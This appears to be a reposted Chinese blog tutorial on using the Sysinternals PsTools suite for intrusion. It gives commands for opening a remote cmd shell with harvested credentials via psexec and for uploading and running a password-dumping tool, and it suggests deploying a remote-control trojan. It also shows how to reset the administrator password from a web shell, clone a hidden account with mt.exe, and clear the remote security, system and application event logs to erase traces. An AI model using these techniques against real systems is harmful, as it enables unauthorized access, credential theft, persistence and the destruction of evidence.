欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

pstools套件在渗透中的应用详解

程序员文章站 2022-06-30 20:55:03
 qq:yueyan@f4ck.net   其实接触pstool很久了,但是据我观察用pstools套件在渗透中的应用的介绍却比较少。 当然玩bt5的同学可能常常用到...

 qq:yueyan@f4ck.net

 

其实接触pstool很久了,但是据我观察用pstools套件在渗透中的应用的介绍却比较少。

当然玩bt5的同学可能常常用到,小菜就写一篇关于pstools套件在渗透中的应用进行详解。

 

目录

0x00 pstool的介绍

0x01 psexec的应用详解

远程获取一个cmdshell

程序上传并执行

0x02 pspasswd的应用详解

0x03 pskill+psinfo+pslist等的应用详解

 

 

0x00 pstool的介绍

   PsTools是Sysinternals Suite中一款排名靠前的一个安全管理工具套件。现在被微软收购。目前pstools中含有12款各式各样的小工具。如果将它们灵活的运用,将会在渗透中收到奇效。所有的pstool第一次运行时都会弹框。可以用–accepteula这个参数绕过。

还有所有的pstool都支持IP$,一旦IP$共享是连接的就不用输入-u 和-p这两个参数。

如何建立IP$连接。命令如下:

Net user \\目标ip\ 密码 /user:用户

Net user \\192.168.1.3\ 123456 /user:test

建立后所有的ps工具都将可以不用输入用户和密码了。

其中12款工具简介如下:

 

• PsExec - 远程执行进程

• PsFile - 显示远程打开的文件

• PsGetSid - 显示计算机或用户的 SID

• PsInfo - 列出有关系统的信息

• PsKill - 按名称或进程 ID 终止进程

• PsList - 列出有关进程的详细信息

• PsLoggedOn - 查看在本地通过资源共享(包含所有资源)登录的用户

• PsLogList - 转储事件日志记录

• PsPasswd - 更改帐户密码

• PsService - 查看和控制服务

• PsShutdown - 关闭并重新启动(可选)计算机

• PsSuspend - 暂停进程

这里讲对其中的几个工具进行详解,其他的将只介绍用法。

下载地址:http://download.sysinternals.com/files/PSTools.zip

 

 

0x01 psexec的应用详解

Pstools中最强大最常利用的工具就属psexec这款工具。这款工具的本意是替代telnet这种不安全的管理方式。它最大的特点就属无需安装客服端程序就可以远程操作服务器。

简单来说,就是一旦你知道服务器或者电脑的用户名和密码,你就可以利用它远程执行系统命令。这样一款工具放到渗透当中真是太淫荡了。它适用于windows NT/2x/xp/vista

 

下面介绍详细参数:

-u 远程计算机的用户名

-p 远程计算机用户对应密码

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

-d 不等待程序执行完就返回 (意思就是,当你执行一个程序无需等到他结束才返回信息)

 -h用于目标系统是Vista或更高版本

其他参数就不做介绍,这里主要是讲用法。

 

远程获取一个cmdshell

 

比如我再渗透中扫描到目标机(192.168.1.3)的一个用户名(test)和密码(123456)。

那我们的命令就是:

psexec \\目标ip -u 用户名 -p 密码 进程名

psexec \\192.168.1.3 –u test –p 123456 cmd.exe

 

看下图,这是成功连接到一台远程服务器,并获得一个cmdshell,shell权限即位当前用户权限。

pstools套件在渗透中的应用详解
 

这里还将提到的是由于windows策略,将不允许空密码登陆。
pstools套件在渗透中的应用详解
 

可能有些机油对用户权限登陆还有疑虑,什么用户才可以登陆。

我这建立了一个属于guest的一个用户我们来看看它是否能连接。

pstools套件在渗透中的应用详解

经过测试,比guest权限大的用户组都可以远程登陆。

IIS_WPG用户组的无法远程连接,但是你不用担心,一般属于IIS_WPG用户组的用户一般也属于guest用户组。

有关用户组相关的介绍请围观法客周年庆之提权专题

下载地址: http://www.2cto.com/ebook/201211/35554.html

获取cmdshell的介绍就到这里。一旦获得一个cmdshell后面的渗透将会比较轻松。

经过测试,用最新版的pstools,windows2008 win7 都能连接成功,win8由于没有win8系统,就未测试,应该是能行的,毕竟这是微软的管理工具。

Win7连接示意图:

pstools套件在渗透中的应用详解

程序上传并执行

 

首先现在在本地配置一个将上传到服务器上运行的程序到H盘根目录。这里用抓取系统密码的神器getpass来演示。H:\getpass.exe

pstools套件在渗透中的应用详解
 

程序上传并执行命令如下:

Psexec \\192.169.1.3 –u test –p 12345 –c H:\getpass.exe –d

 

最后一个-d的参数可有可无~~~

只是怕程序远程运行后会卡住而无法返回信息。

测试如图:

pstools套件在渗透中的应用详解


当然你也可运行一个远控木马这些都可以~~~

Psexec 的介绍就到这里了。

 

0x02 pspasswd的应用详解

 

Pspasswd是一个用来更改用户密码的工具,支持远程密码修改和本地密码修改。这款工具的特点就是不依靠net,exe程序进行密码修改。

 

本地修改命令如下:

pspasswd administrator yueyan

演示图如下:

 

pstools套件在渗透中的应用详解



远程命令如下: www.2cto.com

pspasswd \\192.168.1.3 –u administrator –p 123456 guest yueyan

 

命令的意思就是,用administrator这个管理员账户登录后修改用户guest的密码为yueyan

 

相对来说本地修改密码的功能更强大一些。

我这将介绍个实例:

 

我的一个好基友Lynn得到一个jsp马,并且是nt authority\system权限。但是无法添加用户,且无法用net修改管理员密码。抓取hash密码大于14位,LMhash无效,本地又为搭建彩虹表,网上破解无果。Hash传递登陆被拦截。但是机油lynn却一直想用administrator这个用户登陆进去,当然方法还有很多,比如: mimikatz.exe抓取明文密码等,这里我将介绍pspasswd的妙用。

 

我们想用administrator这个账户登陆进去。很简单,直接上传一个pspasswd上服务器。

执行下面的命令:

首先执行D:\web|pspasswd.exe –accepteula (第一次执行,表示许可执行的意思)

D:\web|pspasswd.exe administrator yueyan

就会成功修改administrator的密码。

 

这里能修改密码的原因是pspasswd不是调用net.exe进行密码修改。

 

上述介绍常常配合mt.exe进行用户克隆。这里简单介绍:

(关于mt.exe的详细介绍请访问:【工具】mt.exe的详细介绍)

首先mt.exe查看用户sid,比较后看是否有克隆账户

Mt -chkuser

比较后,没有克隆账户,我们选择guest这个账户进行克隆:

Mt –clone administrator guest

然后配合pspasswd修改密码:

Pspasswd guest yueyan

就这样成功克隆一个账户,并能成功登陆访问。

pstools套件在渗透中的应用详解

Pspasswd的功能就介绍到这里。

 

0x03 pskill+psinfo+pslist的应用详解

 

首先是介绍pskill.

 

如果你想远程结束远程主机上的一个进程,你可以使用pskill。

 

我们就介绍一下常用的命令:

比如我们想远程关闭远程主机正在运行的cmd这个进程,可以用pskill进行杀掉。命令如下:

 

pskill \\192.168.1.3 –u test –p 123456 cmd.exe

命令很简单~~~~

pstools套件在渗透中的应用详解

我再介绍psinfo的相关应用。

 

基本参数是:

-h 显示已经安装的补丁信息

-s 显示已安装的软件信息

-d 显示磁盘信息

、、、、、、

如果我们想看远程主机的基本信息,命令如下:

psinfo –h –s –d \\192.168.1.3 –u administrator –p 123456

 

接下来就是pslist。

pstools套件在渗透中的应用详解

主要特点是,显示本地或者远程计算机的进程运行情况。

主要参数:

-m 显示内存信息

-x 显示进程,内存和线程

-t 显示进程树

-s n 在任务管理器模式先运行,n指定秒,以esc结束。

-r n 任务管理器模式刷新速率,n指秒

例如我们想看远程计算机的进程运行情况,命令如下:

Pslist –x \\192.168.1.3 –u test –p 123456

 

效果图如下:

 


pstools套件在渗透中的应用详解

 

 

其他ps工具介绍:

PSLOGGEDON:查看指定计算机的本地及远程登录的用户和登录时间。必须建立在IP$共享下才可以使用这个工具。

命令如下:

 

Psloggedon –l \\192.168.1.3

 

PSLOGLIST:事件日志转储及管理。

 

这个对于渗透测试是非常有用的,它最大的特点就是远程清理系统日志。

常用:

psloglist \\72.56.17.74 application -c > nul

psloglist \\72.56.17.74 system -c > nul

psloglist \\72.56.17.74 security -c > nul

分别是清理应用程序日志,系统运行日志,安全日志。

 

PSSERVICE:管理服务。

 

常用:

psservice query messenger

 

查询messenger服务的相关信息。

最重要的项目是:服务名称、显示名称、服务描述、服务类型、服务状态。

 

psservice config messenger

查询服务的配置信息。

最重要的项目是:服务名称、服务描述、服务类型、服务启动类型、服务错误控制级别、可执行文件的路径等等。

 

PSSHUTDOWN:关机工具。

 

常用命令:

Psshutdown –s –t 60

60秒后关机。

下面几个不常用,就介绍下:

• PsFile - 显示远程打开的文件

Psfile \\192.168.1.3

• PsGetSid - 显示计算机或用户的 SID

Psgetsid \\192.168.1.3

• PsSuspend - 暂停进程

Pssuspend \\192.168.1.3 –u test –p 123456 cmd,exe